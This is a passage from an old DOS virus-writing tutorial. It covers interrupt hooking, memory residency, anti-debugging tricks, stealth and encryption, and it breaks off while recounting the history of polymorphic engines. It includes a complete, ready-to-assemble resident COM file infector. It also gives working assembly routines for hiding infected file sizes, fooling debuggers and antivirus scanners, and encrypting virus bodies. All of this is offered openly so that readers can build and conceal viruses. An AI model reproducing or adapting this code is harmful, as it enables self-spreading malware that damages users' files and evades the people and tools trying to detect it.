 loop. Let's imagine we've  hooked function 3Dh of INT 21h ( Open File ), and
 we call it  from the hooked function  code ( or antoher of our new interrupt
 handler )... Da computer will hang. Instead of this we must make a fake call
 to the INT 21h like this one:

 CallINT21h:
        pushf
        call    dword ptr cs:[oldint21]
        iret

 We  can do another  thing. We can  redirect another  interrupt, and  make it
 point to  the old INT 21h. A  good choice seems  to be INT 03h: It's  a good
 antidebugging trick, makes our  code more little ( INT 03h is coded CCh that
 only takes one byte, and normal ints are  coded CDh XX, where XX is  the hex
 value of out int ), and we forget all the problems of call intercepted func-
 tions. When we're about  to pass the control to  original INT 21h, it's good
 to restore all hooked interrupts that were redirected to INT 21h.

 + Hooking interrupts using DOS:

 We must  get the original vector  of an interrupt before put our own vector.
 This can be done with the function 35h of the INT 21h.
 Let's see the input parameters for this function:

 AH = 35h                                      
 AL = Interrupt Number

 When called, it returns us this values :

 AX = Preserved
 ES = Interrupt Handler Segment
 BX = Interrupt Handler Offset

 After  calling this function, we store ES:BX in  a variable in our  code for
 later use, and  set a new  interrupt handler. The fuction we must use is the
 25h of INT 21h. Here you have the parameters:

 AH = 25h
 AL = Interrupt Number
 DS = New Handler Segment
 DX = New Handler Offset

 Let's see an example of interrupt hooking by using DOS:

        push    cs                      ; Adjust segments
        pop     ds                      ; CS = DS

        mov     ax,3521h                ; Get interrupt vector function
        int     21h

        mov     word ptr [int21_off],bx ; Now store variables
        mov     word ptr [int21_seg],es

        mov     ah,25h                  ; Put new interrupt
        lea     dx,offset int21handler  ; Offset to new handler
        int     21h                     
        [...]

 oldint21       label dword
 int21_off      dw 0000h
 int21_seg      dw 0000h

 + Direct hook of interrupts:

 If we forget DOS, we win some things i said before ( in the direct MCB modi-
 fying ). Do  you remember the  structure of the  interrupt table ? It begins
 at 0000:0000, and it takes to 0000:0400h. Here we have all the interrupts we
 can use, from the INT 00h till the INT FFh. Let's see some code:

        xor     ax,ax                   ; Make zero AX
        mov     ds,ax                   ; For make zero DS ( now AX=DS=0 )
        push    ds                      ; We nned to restore DS later

        lds     dx,ds:[21h*4]           ; All interrupts are in int number*4
        mov     word ptr es:int21_off,dx ; Where save offset
        mov     word ptr es:int21_seg,ds ;   "     "  segment

        pop     ds                      ; Restore DS
        mov     word ptr ds:[21h*4],offset int21handler ; The new handler
        mov     word ptr ds:[21h*4+2],es        

 % Last words about residency %
 ------------------------------

 Well, there aren't my  last words really. I'll talk a lot of infections, and
 all this stuff in the rest of this document, but i assume you know how to do
 a resident virus after this. All the stuff from here to the last line of the
 document  is thougth to be  implemented to a  TSR virii. Of course, if i say
 that something is for runtime viruses, don't scream! :)

 After terminate  this lesson, i must put an example of full-working resident
 virus. We also used at this point Gý. It's a lame resident COM infector.

;---[ CUT HERE ]-------------------------------------------------------------
; This code isn't  commented as good as the RUNTIME  viruses. This is cause i
; assumed all the stuff is quite clear at this point.
; Virus generated by Gý 0.70á
; Gý written by Dark Angel of Phalcon/Skism
; Assemble with: TASM /m3 lame.asm
; Link with:     TLINK /t lame.obj
                               
checkres1       =       ':)'
checkres2       =       ';)'
                
        .model  tiny
        .code   
                
        org     0000h
                
start:
        mov     bp, sp
        int     0003h
next:
        mov     bp, ss:[bp-6]
        sub     bp, offset next         ; Get delta offset        
                
        push    ds
        push    es
                
        mov     ax, checkres1           ; Installation check
        int     0021h
        cmp     ax, checkres2           ; Already installed?
        jz      done_install
                                
        mov     ax, ds
        dec     ax
        mov     ds, ax
                
        sub     word ptr ds:[0003h], (endheap-start+15)/16+1
        sub     word ptr ds:[0012h], (endheap-start+15)/16+1
        mov     ax, ds:[0012h]
        mov     ds, ax
        inc     ax
        mov     es, ax
        mov     byte ptr ds:[0000h], 'Z'
        mov     word ptr ds:[0001h], 0008h
        mov     word ptr ds:[0003h], (endheap-start+15)/16
                
        push    cs
        pop     ds
        xor     di, di
        mov     cx, (heap-start)/2+1    ; Bytes to move
        mov     si, bp                  ; lea  si,[bp+offset start]
        rep     movsw   
                
        xor     ax, ax
        mov     ds, ax
        push    ds
        lds     ax, ds:[21h*4]          ; Get old int handler
        mov     word ptr es:oldint21, ax
        mov     word ptr es:oldint21+2, ds
        pop     ds
        mov     word ptr ds:[21h*4], offset int21 ; Replace with new handler
        mov     ds:[21h*4+2], es        ; in high memory
                
done_install:
        pop     ds
        pop     es
restore_COM:
        mov     di, 0100h               ; Where to move data
        push    di                      ; In what offset will the ret go
        lea     si, [bp+offset old3]    ; What to move
        movsb                           ; Move 3 bytes
        movsw   
        ret                             ; Return to 100h
                
old3            db      0cdh,20h,0
                
int21:
        push    ax
        push    bx
        push    cx
        push    dx
        push    si
        push    di
        push    ds
        push    es
                
        cmp     ax, 4B00h               ; execute?
        jz      execute
return:
        jmp     exitint21
execute:
        mov     word ptr cs:filename, dx
        mov     word ptr cs:filename+2, ds
                               
        mov     ax, 4300h               ; Get attributes for later restore
        lds     dx, cs:filename 
        int     0021h
        jc      return
        push    cx
        push    ds
        push    dx
                
        mov     ax, 4301h               ; clear file attributes
        push    ax                      ; save for later use
        xor     cx, cx
        int     0021h
                
        lds     dx, cs:filename         ; Open file for read/write
        mov     ax, 3D02h
        int     0021h
        xchg    ax, bx
                
        push    cs                      ; Adjust segments
        pop     ds
                
        push    cs
        pop     es                      ; CS=ES=DS
                
        mov     ax, 5700h               ; get file time/date
        int     0021h
        push    cx
        push    dx
                
        mov     cx, 001Ah               ; Read 1Ah bytes of file
        mov     dx, offset readbuffer
        mov     ah, 003Fh
        int     0021h
                
        mov     ax, 4202h               ; Move file pointer to the end
        xor     dx, dx
        xor     cx, cx
        int     0021h
                
        cmp     word ptr [offset readbuffer], 'ZM' ; Is it EXE ?
        jz      jmp_close
        mov     cx, word ptr [offset readbuffer+1] ; jmp location
        add     cx, heap-start+3        ; convert to filesize
        cmp     ax, cx                  ; equal if already infected
        jl      skipp
jmp_close:
        jmp     close
skipp:
                
        cmp     ax, 65535-(endheap-start) ; check if too large
        ja      jmp_close               ; Exit if so
                
        mov     di, offset old3         ; Restore 3 first bytes
        mov     si, offset readbuffer
        movsb   
        movsw   
                
        sub     ax, 0003h
        mov     word ptr [offset readbuffer+1], ax
        mov     dl, 00E9h
        mov     byte ptr [offset readbuffer], dl
        mov     dx, offset start
        mov     cx, heap-start
        mov     ah, 0040h               ; concatenate virus
        int     0021h
                
        xor     cx, cx
        xor     dx, dx
        mov     ax, 4200h               ; Move pointer to the beginning
        int     0021h
                
                
        mov     dx, offset readbuffer   ; Write first 3 bytes
        mov     cx, 0003h
        mov     ah, 0040h
        int     0021h
                
                
close:
        mov     ax, 5701h               ; restore file time/date
        pop     dx
        pop     cx
        int     0021h
                
        mov     ah, 003Eh               ; Close file
        int     0021h
                
        pop     ax                      ; restore file attributes
        pop     dx                      ; get filename and
        pop     ds
        pop     cx                      ; attributes from stack
        int     0021h
                
exitint21:
        pop     es
        pop     ds
        pop     di
        pop     si
        pop     dx
        pop     cx
        pop     bx
        pop     ax
                
        db      00EAh                   ; return to original handler
oldint21        dd      ?
                
signature       db      '[PS/Gý]',0
                
heap:
filename        dd      ?
readbuffer      db      1ah dup (?)
endheap:
        end     start
;---[ CUT HERE ]-------------------------------------------------------------

 Sorry. I'm a goddman lazy, i know. You  can think this  is a  lame attitude.
 Maybe. But think i'm making this document at time i'm making some viriis and
 making some stuff for DDT magazine, so i haven't enough time for make my own
 decent viruses for this tute. Hey! No  one pays me for do this, you know? :)

---| Armouring your code |---------------------------------------------------

 This is a very discused theme in da scene. Many VXers protects their code in
 order  to make AVers  life more difficult. Of  course we  are talking  about
 antidebugging routines. There're a lot of techniques that all we know... but
 it's good to see a couple of them here... don't you think?

 This things have a lot of possible functions. They're a lot of configurable.
 You can do custom-made routines for yer virus, too. I think put at least one
 of  this routines in your  polymorphic engine ( in long-routines table, like
 Wintermute's Zohra virus ) for  fool the AVs  which try to decrypt our code.
 Here we go!

 A very  useful thing is deactivate keyboard. When we deactivate keyboard the
 debugger user can't trace  anymore ( F7 in TD ). If user runs the program at
 full speed... no problem. Just  an int 3 ( breakpoint ) will do the rest. It
 is a very simple thing that works preety good! Let's see some code:

 bye_keyb:                                   
        in      al,21h                  ; Let's deactivate keyboard
        or      al,02h                  ; Try to press any key...
        out     21h,al              

 fuck_int3:
        int     3h                      ; Breakpoint

 exit_adbg:                                  
        in      al,21h                  ; Let's activate keyboard
        and     al,not 2                ; keyb works now
        out     21h,al                  ; cool :)

 This is a good method. Think you can do... deactivate keyboard all time when
 our virus is being  run will: keep the lamer-user get astonished, wont allow
 him to press damned ^C, all  you want to do  can be made. Really  useful and
 simple thing.

 Another method is play with the stack. Many antidebuggers suck with this old
 and simple thing. You can do whatever you want with this in order to fuck'em
 Code? Here you have:

 do_shit_stack:  
        neg     sp
        neg     sp

 Simple, huh? You can also do a NOT instead of NEG. Same result.

 tons_of_shit:
        not     sp
        not     sp

 What  a NEG does? It  increases register by one  and then apply a NOT on the
 result. But it's a very old  trick... you can  add it but  better search for
 others, this  is not definitive  with quality debuggers  like S-ICE. But  if
 you are  doing a poly  engine you can add a simple soutine like this and AVP
 will suck trying to decrypt your virus. Hehe... Kaspersky's babe sux! Erhm..
 I forget  it... TBCLEAN says "Approached stack crash" :) Ok... continue this
 shit. Another method you can use is overflow the stack:
 
 overflower:
        mov     ax,sp
        mov     sp,00h
        pop     bx
        mov     sp,ax

 Of course... there are more. Another of the classics is to hook int 1 and/or
 int 3. You  have many ways to do this. Well, we offer you some of this shit.
 
 change_int1_and_int3_using_dos:
        mov     ax,2501h                ; AL = INT to hook
        lea     dx,newint               ; Take care if we need
        int     21h                     ; ë offset, by adding it... ok?
        mov     al,03h
        int     21h
        [...]
 newint:
        jmp     $
        iret                            ; Why if don't used? hehehe :)    

 This routine can  be notified by a TSR watchdog. We recommend you to use the
 below method. Hookin' by direct manipulation:

 int1:   
        xor     ax,ax                   ; Let's try to put an IRET in INT 1
        mov     es,ax                   ; We need ES = 0. IVT is in 0000:0000
        mov     si,word ptr es:[1h*4]   ; Get da offset
        mov     [si],0FEEBh             ; a jmp $

 int3:
        xor     ax,ax
        mov     es,ax
        mov     si,word ptr es:[3h*4]
        mov     [si],0FEEBh

 If you don't want to hang the computer just replace the 0FEEBh to 0CF90h ( a
 nop and a iret [ reverse order, of course ] ).

 A very cool idea you can have is to make int 3 point to int 21, and then you
 can  use this int instead the int 21. This will be good for two things: fuck
 debuggers and  optimize your code... why  it optimize your  code? the int 21
 opcode is CD 21 ( takes two bytes ), and the int 3 is only CC...

 Remember that the int 3 is a breakpoint for debuggers, so everytime you call
 int 3 the debugger will stop :) Here you have the code:

 getint21:
        mov     ax,3521h                ; Get interrupt vectors
        int     21h
        mov     word ptr [int21_ofs],bx
        mov     word ptr [int21_seg],es

        mov     ax,2503h
        lea     dx,jumptoint21
        int     21h
        [...]

 jumptoint21    db      0EAh
 int21          equ     this dword
 int21_ofs      dw      0000h
 int21_seg      dw      0000h

 We  can also make comparisons with the stack in order of know if we're being
 debugged. Here you have some examples:

 stack_compares:
        push    ax
        pop     ax                    
        dec     sp                    
        dec     sp                    
        pop     bx                    
        cmp     ax,bx                 
        jz      exit_adbg               ; not debugged
        jmp     $                       ; hang computers is cool ;)
 exit_adbg:
 
 Remember, if needed, disabling interrupts ( cli ) and enabling later ( sti )
 Yes, there  are more methods  for armour our code. They're  so old, but hey!
 they work! Take a  look to the  next one... play  with the  prefetch is very
 known. I like a lot this method.

 [** NOTE : As a guy in i-net remembered me, this WON'T WORK in Pentiums **]

 Take a look to this code:
 
 prefetch:
        mov     word ptr cs:fake,0FEEBh ; Why do you think this made
 fake:  jmp     nekst                   ; if debugged? Yes, hang PC!    
 nekst:                                 ; Continue with your code here

 You can also do much more things with da prefetch. You can jump to a routine
 or put a hlt ( hangs too )... whatever you want, like this:

 prefetch_fun:
        mov     word ptr cs:fake2,04CB4h
 fake2: jmp     bye_fake
        int     21h
 bye_fake:

 This  code will terminate  the execution  of yer program. Quite kewl. Now, a
 specific routine for SoftIce ( the best debugger also fooled ).

 At least this is a lot of ppl say. More code here:

 soft_ice_fun:
        mov     ax,0911h                ; Soft-ice function for exec. command
        mov     di,4647h                ; DI = "FG"
        mov     si,4A4Eh                ; SI = "JM"
        lea     dx,soft_ice_fuck        ; Yeah
        int     03h                     ; Int for breakpoints

 soft_ice_fuck  db      "bc *",10,0

 Another trick is to hook int 8 and put there  a compare to a variable in our
 resident code, because  a lot of debuggers  deactivate all interrupts except
 the int 8. The int 8 is  executed 18.2 times in  an only second. I recommend
 you to save the old  handler before hook it. Do you want code? here you have

 save_old_int8_handler:                 ; You remember 40-hex magazine?
        mov     ax,3508h                ; This routine is from issue #7
        int     21h
        mov     word ptr [int8_ofs],bx
        mov     word ptr [int8_seg],es
        push    bx es
        mov     ah,25h                  ; Put int 8 handler    
        lea     dx,virii
        int     21h
 fuckin_loop:
        cmp     fuckvar,1               ; This will cause a little delay
        jnz     fuckin_loop
        pop     ds ds

        int     21h
        mov     ax,4C00h
        int     21h

 fuckvar        db      0
 int8           equ     this dword
 int8_ofs       dw      0000h
 int8_seg       dw      0000h
 program:
                ; bla bla bla
        mov     fuckvar,1
                ; more and more bla
        jmp     dword ptr [int8]

 There is another trick  i love.  SoftIce  hangs while   loading, or it shows
 an INVALID label, TD, TD32, debug and such like are stoned, so here it goes:
 Just make something important with int 1, such as redirect it to int 21, for
 example, and when you need to call int 1, just don't put the normal instruc-
 tion:

        int     01h

 No. Just put  the F1 byte.  Is an undocumented opcode that occupies only one
 byte, so it can optimize your  code, is higly anti-debugging, so... for what
 are ya waiting? :)

 Remember Demogorgon lesson : " Unprotected code is public domain "

 Hey! Be careful if you need the delta offset ( i.e. runtime  viruses ),
 and add it... ok? 

---| Stealth |---------------------------------------------------------------

 What is stealth ? Stealth in VX world  is the name we give to all this stuff
 that allow us the possibility of hide the infection symptoms, like file size
 grow, " Abort, Retry, Ignore " error when we execute a program in a protect-
 ed to disk write  floppy, read the disinfected  version of  a file, the file
 date seems to bee good...In another words, make the user believe fake things
 Stealth  is  also  the  name  of a  VX group ( SGWW ), but  this  is another
 history :)
 
 % INT 24h stealth %
 -------------------

 Yes, this is stealth. You can  think this stuff is quite old and else, but i
 believe this  is the first  attempt to  make stealth implemented in viruses.
 The target is avoid da message " Abort, Retry, Ignore " when we're executing
 a program in a write-protected floppy, cause the virus want to write, and it
 does, but DOS notify this error. If the  user sees this message will suspect
 there's something wrong...

 This is very easy. All we  need is to  replace the  original INT 24h vectors
 ( the int that handles critical errors ) to a fake interrupt  where the only
 code is a " mov al,3 " followed by an " iret ".
 Let's see:

        mov     ax,3524h
        int     21h
        mov     word ptr [int24_off],bx
        mov     word ptr [int24_seg],es

        mov     ax,2524h
        lea     dx,int24handler
        int     21h
        [...]

 int24handler:
        mov     al,3
        iret

 % Directory stealth %
 ---------------------

 There are two kinds of directory stealth: by FCBs and by handles.

 + FCB stealth:

 Do you remember the FCB structure? You can take a look to STRUCTURES chapter
 if you've alzheimer :)

 Well, let's see... Our  target here  is to  susbract the  virus size  to the
 actual infected virus size. You must add something like this to your int 21h
 handler:

        [...]
        cmp     ah,11h                  ; FindFirst ( FCB )
        je      FCBstealth
        cmp     ah,12h                  ; FindNext ( FCB )
        je      FCBstealth
        [...]

 Then  we create a procedure called FCBstealth ( or the name you like more ),
 and put in it a fake interrupt call. Then we check if result is 0. If it is,
 we jump directly to the interrupt return. Else, we continue. Now we push the
 register what we use ( AX, BX, ES ), and  we call  to the  INT 21h  function
 AH=2Fh, that  return us the address  of the DTA in ES:BX. It's time to check
 if the FCB is normal or extended. We can know it by comparing the first byte
 of FCB ( in ES:[BX] ) with FFh. If it's  equal, the FCB is  extended, so  we
 fix it  by adding 7 bytes to BX. If it's normal we preserve it. Now we check
 if  the file was  previously infected. For  make our  stuff easiest, i  will 
 assume that  the infection  mark is  to set up seconds to 60 ( an impossible
 value ). If it isn't infected, we skip that file. Now it's time to substract
 the virus size, and... here we have! FCB stealth! Let's see code:

FCB_Stealth:
        pushf                       
        call    dword ptr cs:[oldint21] ; Fake call to INT 21h     
        or      al,al                   ; Optimized cmp al,0
        jnz     error                      

        push    ax bx es                  

        mov     ah,2Fh                  ; Get DTA address in ES:BX
        int     21h                       

        cmp     byte ptr es:[bx],0FFh   ; Is FCB extended ?
        jne     normal                    
        add     bx,07h                  ; No, fix it   
normal:
        mov     ax,es:[bx+17h]          ; Get seconds
        and     ax,1Fh                  ; Unmask seconds
        xor     al,1Eh                  ; Are seconds = 60 ? ( 30*2 )
                                                                                
        jne     not_infected            ; No, skip it

        sub     word ptr es:[bx+1Dh],virus_size ; Substract virus size
        sbb     word ptr es:[bx+1Fh],0  ; With borrow, too

not_infected:
        pop     es bx ax

error:
        retf    02                    
        
 + Handle stealth:

 The handle is another  way to do the same than FCB stealth. Our objective is
 the same, hide  the size ( and seconds if required )... but the  function we
 must intercept and the things we must change are a little bit different ( if
 not we used the same code than above ) ;)

 Well, the code placed in your INT 21h handler is something like this:

        [...]
        cmp     ah,4Eh                  ; FindFirst ( Handle )
        je      HandleStealth
        cmp     ah,4Fh                  ; FindNext ( Handle )
        je      HandleStealth
        [...]

 And  now, I'll  explain  how  is  a  typical  routine  for  Handle  stealth.
 Firstly, we make a fake call to da old INT 21h ( after pushing flags, of co-
 urse ). After this, we save the registers we're going to use ( AX, BX, ES ),
 and get the DTA in ES:BX ( AH=2Fh ). We  check for previous infection ( secs
 in ES:[BX+17h] ), and if it's already infected, we substract  the virus size
 to the file size. It's very similar to the above stealth method, but, as you
 can see, there're some things that make it different :)

 A theory lesson is a shit without some code :)

 HandleStealth:                                                            
        pushf                           
        call    dword ptr cs:[oldint21] ; Fake call to DOS API
        jc      goback                  ; CF=1 if error
                                                                           
        push    ax bx es                ; Save registers we use
                                                                          
        mov     ah,2Fh                  ; DTA @ ES:BX
        int     21h                                                     
                                                                           
        mov     ax,es:[bx+16h]          ; Get the file time
        and     ax,1Fh                  ; Unmask Seconds
        xor     al,1Eh                  ; 60 ? ( Compare in optimized way )
        jne     damnedpops              ; Fuck!
                                                                           
        sub     word ptr es:[bx+1Ah],virus_size ; Guess...
        sbb     word ptr es:[bx+1Ch],0        
                                                                           
 damnedpops:
        pop     es bx ax                ; Get the old values
                                                                           
 goback:
        retf    02

 % Problems in directory stealth %
 ---------------------------------

 There're some problems that need to be fixed, in order to avoid user's panic
 We need to check if some programs are being run:

 - Compressors, such  PKZIP, RAR, ARJ, LHA, AIN, etc. because if we give them
 an incorrect size, they'll fuck in order to compress files :(

 - Utilities like CHKDSK, that will  be fucking around  showing a neverending
 errors list, cause  of the  size in sectors isn't  equal to the size we show
 to the user eyes :(

 - AVs, like F-PROT, AVP and  other SCUM, to  prevent their  messages about a
 probable infection by a stealth virus.

 So, it's a good idea to waste some code space making comparisons in order to
 see if  one of  this program is being run, and then deactivate stealth ( and
 activate later, when we're outside danger )

 % INT vectors stealth %
 -----------------------

 This  kinda stealth is  very easy. When we use this method, we are trying to
 give the original vectors ( this ones  that we caught before install our own
 interrupt handler ) to the  programs that  request for it. This  is good for
 some things: our  interrupt handler will be always the first. Let's see what
 we have to add to our INT 21h vectors if we've hooked the said INT.

        [...]
        cmp     ax,3521h                ; Get INT 21h vectors 
        je      RequestINT21h
        cmp     ah,2521h                ; Put INT 21h vectors
        je      PutNewINT21h 
        [...]

 And our routines look like this:

 RequestINT21h:
        mov     bx,word ptr cs:[int21_off] ; Return in BX the old int offset
        mov     es,word ptr cs:[int21_seg] ; Return in ES the old int segment
        iret                              

 PutNewINT21h:                            
        mov     word ptr cs:[int21_seg],ds ; Put the new segment in int21_seg
        mov     word ptr cs:[int21_off],dx ;  "   "   "  offset  "  int21_off
        iret

 % Time stealth %
 ----------------

 Here i can't put code because this thing is very personal, it must be custom
 made to your needs when coding your virus. You can use many ways for mark da
 infected files... Put seconds to 60, 62... ( impossible ), increase years by
 100, make equal  seconds and day... The way for obtain time and date is with
 the function AX=5700h, and for put new values the AX=5701h. In CX goes time,
 and in DX, date ( the ones we must intercept for make the stealth )

 % SFT stealth %
 ---------------

 If you remember the preety structure called SFT, at offset 11 we had a dword
 that shows the file size. All we need is to see if the file was already inf-
 ected, and if  it was, substract  to the file size the virus size. Let's see
 a little piece of code ( assuming the infection  mark is seconds = 60 and we
 have called to a routine that gave us the SFT in ES:DI ):

 Infect:
        [...]
        mov     ax,word ptr es:[di+0Dh] ; Get time
        and     al,01Fh                 ; Unmask seconds
        cmp     al,01Eh                 ; Seconds = 60 ?
        jnz     AintInfected            ; No, infect it

        sub     word ptr es:[di+11h],virus_size ; Yes, substract virus size
        sbb     word ptr es:[di+13h],0000h
        [...]
 AintInfected:
        [...]

 There is  a good  thing you can do for avoid the AVP 3.0 scanning. First, we
 must know if AVP is here. When AVP 3.0  opens a  file, there're  some values
 that let  us know it is fucking around ( BX=5, SI=402Dh ). It's  time to get
 SFT, and then  make all file  zero-size for  Kaspersky's son, with  two only
 code lines:

        mov     word ptr es:[di+11h],0000h
        mov     word ptr es:[di+13h],0000h

 or only one if we can :)

        mov     dword ptr es:[di+11],00000000h

 % Disinfection on the fly %
 ---------------------------

 Here  again, i can't  give you some  code. It must be custom made... Well, i
 can give you the INT 21h lines, but nothing else:

        [...]
        cmp     ah,03Dh                 ; Open file
        jz      Disinfect
        cmp     ax,6C00h                ; Extended open
        jz      Disinfect
        cmp     ah,03Eh                 ; Close file ( infect now!!! )
        jz      Infect
        [...]

 Now we must note one thing... we must fix some things for make da same rout-
 ine for AH=3Dh and AX=6C00h.

 1. The file name is in DS:DX in AH=3Dh, and in DS:SI in AX=6C00h
 2. The open mode is in AL in AH=3Dh, and in BL in AX=6C00h

 So  we need to make a routine for fix the access with the 6C00h function. It
 probably will look like this:

 Disinfect:
        cmp     ax,6C00h
        jne     Check
        cmp     dx,1
        jne     ExitDisinfection
        mov     al,bl                   ; Open mode in AL
        mov     dx,si                   ; File name is now in DS:DX
 Check:
        mov     ax,5700h
        int     21h                     ; If we've hooked this function, 
                                        ; we need to make a fake call! ( or
                                        ; use SFTs! )
        and     cl,1Fh                  ; Unmask seconds
        or      cl,1Eh                  ; Is it 60?
        jnz     NotInfected
        [...]

 The disinfection  way is a routine that you must to do. It can't be as gene-
 ral as FCB stealth, because you  can choose between a lot of things. Ok, i'm
 gonna explain at least how it works.

 + Disinfection of COM files:

 The disinfection  of COM files  is very easy. We  need to restore  the first
 bytes we've changed on  infection by the original ones ( ussually 3 bytes ),
 restore the original time/date of the file, and remove the virus body ( trun
 cating the file at offset "end of file - virus size" ).

 + Disinfection of EXE files:

 This is a little bit more hard to do, but not to understand :)
 We need to restore the  original header of  the file, restore  the time/date
 and remove the virus body at the end of the file. But the problem comes when
 our virus is encrypted. You have to choose between leave this bytes unencry-
 pted ( giving to the  AVs the way  to disinfect  our  virus  ) or decrypt
 this bytes. Anyway, it's very simple.

 % Win9X stealth compatibility %
 -------------------------------

 Well, we must  take care  that in Win9X enviroments (Win95, Win98) the usual
 FCB or Handle stealth doesn't work properly. Simply check for function 714Eh
 (FindFirst for Long File Names) and 714Fh (FindNext for LFN).

 % Last words about stealth %
 ----------------------------

 There're more stealth methods, like 4202 stealth, sector stealth... but i've
 explained da most simple and used ones. And, BTW, we don't need 4202 stealth
 if we use SFT stealth :)

 Probably the worst thing  in some kinds of  stealth is the uncompatibilities
 with some software, that can fuck our need to be hidden.

 After  reading this,  you would wonder why "Is stealth useful ?". The answer
 is  a great YES. This is one of the  best methods  for conceal  the possible
 infection  to the user: the files seem to have the same size than before the
 infection, when an AV  is executed and  we have a disinfection routine, this
 AV won't detect anything ( the same for those niggas  that waste  their time
 using an  HEX editor in  order to see  if something's  wrong ), and a lot of
 more things. The best  you can  do is deactivate stealth when a program like
 CHKDSK, or PKZIP. All this in yer hands...

---| Encryption |------------------------------------------------------------

 Encryption techniques  are really old, but they're still effective, and very
 used. Problably is one of da things that survived many years in concept, but
 with continuous improvements like polymorphism, metamorphism, and such like.
 Our target is to hide all our  text strings, suspicious opcodes, and all our
 stuff of the user eyes. We can do it  with a simple math  operation, applied
 to all bytes of  our virus body. For example, we can increase by one all the
 bytes of  our virus, and  we can see that there isn't a readable text string
 or something in our virus :)

 The structure of an encrypted virus is like this:

         .-----------------------------------.      It's very simple. There's
       .-|        Call to decryptor          |      a call to  the decryptor,
       | |-----------------------------------|<---. when  the decryptor  ends
       | |                                   |    | its  job, it  gives   the
       | |                                   |    | control to the virus, and
       | |          Infected file            |    | when  the  virus ends its 
       | |                                   |    | execution, the control is
       | |                                   |    | returned to  the original 
       | |-----------------------------------|<-. | program.
       | |                                   |  | |
       | |           Virus body              |  | |
       | |                                   |  | |
       '>|-----------------------------------|----'
         |            Decryptor              |  |
         '-----------------------------------'--'

 There  is a math operation  that gives us one advantage. We can use the same
 procedure  to encrypt  and decrypt our  code. Of course  we're talking about
 XOR, the most used  instruction for decryptors. There're two more instructi-
 ons that can be used for  our purposes of  using the same  procedure for en-
 crypt and decrypt: NOT and NEG. The  most used of this two is the first one.
 Of course, we  can use a  lot of more instructions for encryption. I'll show
 you a little list of instuctions we can use:

 INC/DEC, ADD/SUB, ROL/ROR, XOR, NOT, MUL/DIV, ADC/SBB, etc...

 The simplest way for encrypt our virus is to use a routine like this:

 encryption:        
        mov     cx,encrypt_size         ; encrypt_end-encrypt_start
        mov     di,[bp+encrypt_begin]   ; From where
        mov     si,di                   ; For lodsb/stosb
        mov     ah,key                  ; Value for XOR. Subst key with whate
                                        ; ver you want
 encryption_loop:
        lodsb                           ; Move a byte from DS:SI to AL
        xor     al,ah
        stosb                           ; Move a byte from AL to ES:DI
        loop    encryption_loop
        ret

 This  procedure is really poor. It  only have 255 posibilities because we're
 working with a 8-byte register as key ( AL ).

 Of course this is the simplest way. We must take note of some things:

 - If we  use a routine  like this, and we haven't a second copy of our virus
 in memory ( i will  talk about  it in this  same article ), when using  this
 routine  we must left  unencrypted the  procedure that  copies ( and call to
 encrypt procedure too ) virus to the victim.

 - We must take care  of the virus state in its first generation: it's unenc-
 rypted. Using  xor,  we can  use the value of  00 to make this, in the first
 generation, and make a procedure that changes this value in the code, or si-
 mply avoid the execution of the encryption routine in  the first generation.

 Now, we'll  see how is  the above encryption procedure  when using a 16-byte
 encryption as the key:

 encryption:        
        mov     cx,(encrypt_size+1)/2   ; encrypt_end-encrypt_start/2
        mov     di,[bp+encrypt_begin]   ; From where
        mov     si,di                   ; For lodsw/stosw
        mov     dx,key                  ; Value for XOR. Subst key with whate
                                        ; ver you want
 encryption_loop:
        lodsw                           ; Move a word from DS:SI to AX
        xor     ax,dx
        stosw                           ; Move a word from AX to ES:DI
        loop    encryption_loop
        ret

 The problem is: if we left the copy and encryption procedures unencrypted...
 what will AV do? They have in  our hard worked virus ( yes, yes, the same in
 what  we  spend a lot of  weeks of work  trying to  make it  anti-heuristic,
 stealth, with  a lot  of cool   tricks, a new and wonderful stuff...) a scan
 string enough big for add it to their AV. In 5  minutes they  implemented in
 their AV the way  for detect our virus. Argh! A VXer spends days in create a
 decent virus, and because he used a simple encryptor like this, in 5 minutes
 our enemies have the way for detect us! This world is really a shit! :(

 But, the VXers never surrender, so... We need to make the decryptor as small
 as possible. Ain't enough. In the next chapter you'll have the best possible
 answer :)

 How  we can have  a second  copy of  our virus  in memory? It's very simple.
 After the label  that marks  the  last byte that the virus will copy, we can
 have something like this:

 virus_end      label   byte            ; The label that marks end of virus

 enc_buffer     db      (offset virus_end-offset virus_start) dup (090h)

 The enc_buffer variable will only have code in the first generation. When we
 spread the virus, this  variable won't be  copied within  it. But we can use
 its offset  for have  a second copy of our virus there. What we can do is...

 - When we copy  our virus to  memory ( in a TSR one ), we  make this another
 time, and when we're putting in  the code the EXE header, or the first bytes
 of the COM, we put  them in the  same offset  where this  variables  will go
 shifted by virus size. Ok, i'll explain it better. Imagine we have something
 like:

        mov     ah,3Fh
        mov     cx,4
        lea     dx,old3bytes
        int     21h

 Ok. Then, if  we have  the second copy of the virus in memory, we must subst
 the third line for something like:

        lea     dx,virus_size+old3bytes

 The best way is to experiment with it...

 - Or we can  copy the virus  body just before the appending: we have all the
 variables set. The movement will be like this:

        mov     cx,virus_size
        xor     si,si
        mov     di,offset virus_begin
        rep     movsb

 We encrypt it, append this second copy and... that's all folks!

---| Polymorphism |----------------------------------------------------------

 This is one of the most  interesting things in a virus. It's also very funny
 to  code a PER ( Polymorphic Encryption Routine ), and it shows  clearly how
 is the " style " of  the VXer  that coded it. It's  also the  thing that all
 beginners think that is very hard to do, and only the experimented VXers can
 do it. DON'T THINK IT! It's  very simple. Don't be afraid. If you've arrived 
 till here alive, i'm sure you'll understand ALL. This chapter is an extensi-
 on of the ENCRYPTION chapter.

 Our  objective doing  a PER is  the neverending one in the VX world : defeat
 AVs by  minimizing  the  scan  string  of  our  viruses, aka FUCK'EM ALL! :)
 The concept  is to generate different decryptors  for each infection, so the
 AVs will suck in order to detect our virus. And this technique, with STEALTH
 ARMOURING, ANTI-HEURISTICS and ANTI-BAITS can make yer viruses very powerful

 Ok, let's begin with the interesting stuff.

 % History %
 -----------

 Da first attempts to make a PER were made by a bulgarian coder, probably one
 of the bests virus creators ever, called Dark Avenger. His viruses were, are
 and will be a touch stone for all VXers. From his first viruses, like Eddie,
 he  showed  a great quality  for coding. But the  best stuff  came with  the
 release of the MtE ( Mutation Engine ), the first good PER in the VX history
 All  AV researchers  went mad in order to find a scan string for the viruses
 based in this engine. After  a  lot of hard word ( ??? ) in the AV side they 
 found a reliable scan string for catch MtE. But  it was  just the beginning.
 Masud Khafir, member  of the  TridenT virus  research group,  developed TPE,
 Dark Angel of Phalcon Skism developed DAME ( Dark Angel Multiple Encryptor )
 and many other virus researchers made other cool engines. When we're talking
